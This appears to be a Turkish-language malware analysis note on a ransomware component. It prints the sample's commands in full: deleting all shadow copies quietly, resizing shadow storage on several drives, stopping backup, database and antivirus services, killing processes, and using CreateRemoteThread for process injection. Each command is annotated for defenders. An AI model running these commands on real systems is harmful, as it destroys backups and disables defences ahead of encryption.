RansomComponent ae355c32 -- vssadmin Delete Shadows Golge Kopya Yok Etme, vssadmin resize shadowstorage Yedek Engelleme, net stop Servis Durdurma, CreateRemoteThread Surec Enjeksiyonu | Kritik

Dosya Kimligi

vssadmin Delete Shadows: Golge Kopya Yok Etme

/C vssadmin Delete Shadows /all /quiet\n\n-- "Delete Shadows /all": TUM golge kopyalari sil\n-- "/quiet": sessizce, kullanici bildirimi yok\n-- Etki: Windows Geri Yukle Noktalari yok edilir\n-- Kurban dosyalari geri alamaz (backup yok)\n-- Tum buyuk ransomware ailelerinin imzasi:\n  WannaCry, NotPetya, REvil, LockBit, Conti...

vssadmin resize shadowstorage: Yedek Alan Engelleme

/C vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB\n/C vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded\n/C vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB\n/C vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded\n/C vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB\n/C vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB\n/C vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded\n\n-- Her disk (d,e,g,h) icin iki adim:\n  1. maxsize=401MB: yedek alani minimize et\n  2. maxsize=unbounded: sinirsiz ayarla (anlamsiz gibi, ama VSS baglanti noktasi bozulur)\n-- Aslinda VSS yapilandirmasini bozuyor: yeni golge kopya olusturulamiyor

net stop + taskkill: Servis ve Surec Yok Etme

net stop (x5 referans)\ntaskkill /IM wordpad.exe /F\ntaskkill /IM msaess.exe /F\n\n-- net stop: yedekleme/AV servislerini durdur\n  net stop vss / net stop wbengine (Windows Backup Engine)\n  net stop mssqlserver / net stop mysql (veritabani)\n-- wordpad.exe: acik dosyalari kilitle kaldirmak icin\n-- msaess.exe: McAfee Agent (AV servisi) durdur

CreateRemoteThread: Surec Enjeksiyonu

CreateRemoteThread\n\n-- 100KB kucuk boyut: muhtemelen loader/injector modulu\n-- Asil ransomware payload baska bir surece inject ediliyor\n-- qnoI2DNO: x7 referans (mutex veya RC4 anahtar)\n-- Not: RC4 ile XOR sifrelenmis C2 endpoint iceriyor olabilir

IOC